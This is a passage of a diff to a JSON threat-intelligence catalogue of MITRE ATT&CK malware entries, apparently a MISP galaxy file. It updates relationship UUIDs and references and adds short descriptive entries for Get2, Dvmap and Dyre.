"estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7390,7 +8322,21 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7404,7 +8350,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7430,13 +8376,6 @@ ] }, "related": [ - { - "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -7445,7 +8384,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7459,7 +8398,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7471,6 +8410,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "5bcd5511-6756-4824-a692-e8bb109364af", @@ -7514,7 +8460,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7541,21 +8487,21 @@ }, "related": [ { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7634,7 +8580,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7655,7 +8601,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7683,21 +8629,21 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7711,7 +8657,7 @@ "type": "uses" }, { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7723,6 +8669,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472", @@ -7793,9 +8753,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0203", + "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "https://www.symantec.com/connect/blogs/trojanhydraq-incident", - "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf", "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", @@ -7831,7 +8791,7 @@ "type": "similar" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7880,7 +8840,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7894,7 +8854,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7908,7 +8868,7 @@ "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7957,7 +8917,7 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8013,49 +8973,49 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8083,7 +9043,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8110,7 +9070,7 @@ }, "related": [ { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8120,6 +9080,68 @@ "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c", "value": "Twitoor - S0302" }, + { + "description": "[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)", + "meta": { + "external_id": "S0460", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0460", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader" + ], + "synonyms": [ + "Get2" + ] + }, + "related": [ + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "099ecff2-41b8-436d-843c-038a9aa9aa69", + "value": "Get2 - S0460" + }, { "description": "[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)", "meta": { @@ -8144,14 +9166,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8194,7 +9216,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8222,14 +9244,14 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8250,21 +9272,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8283,6 +9305,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", @@ -8306,21 +9349,21 @@ }, "related": [ { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8345,7 +9388,76 @@ "value": "Briba - S0204" }, { - "description": "[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)", + "description": "[Dvmap](https://attack.mitre.org/software/S0420) is rooting malware that injects malicious code into system runtime libraries. It is credited with being the first malware that performs this type of code injection.(Citation: SecureList DVMap June 2017)", + "meta": { + "external_id": "S0420", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0420", + "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/" + ], + "synonyms": [ + "Dvmap" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "22b596a6-d288-4409-8520-5f2846f85514", + "value": "Dvmap - S0420" + }, + { + "description": "[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)", "meta": { "external_id": "S0024", "mitre_platforms": [ @@ -8353,10 +9465,14 @@ ], "refs": [ "https://attack.mitre.org/software/S0024", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf", + "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", + "https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/" ], "synonyms": [ - "Dyre" + "Dyre", + "Dyzap", + "Dyreza" ] }, "related": [ @@ -8375,7 +9491,7 @@ "type": "similar" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8389,21 +9505,21 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8415,6 +9531,76 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe", @@ -8444,14 +9630,14 @@ "type": "similar" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8485,14 +9671,14 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8569,7 +9755,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8604,7 +9790,7 @@ "type": "similar" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8615,7 +9801,7 @@ "value": "GLOOXMAIL - S0026" }, { - "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)", + "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", "meta": { "external_id": "S0062", "mitre_platforms": [ @@ -8623,8 +9809,8 @@ ], "refs": [ "https://attack.mitre.org/software/S0062", - "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", - "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", + "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/" ], "synonyms": [ "DustySky", @@ -8647,7 +9833,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8668,14 +9854,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8689,7 +9875,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8717,7 +9903,63 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8751,7 +9993,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8793,7 +10035,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8807,7 +10049,7 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8835,7 +10077,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8849,7 +10091,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8863,7 +10105,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8884,14 +10126,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8912,7 +10154,7 @@ "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8926,14 +10168,14 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -8947,21 +10189,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9003,7 +10245,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", 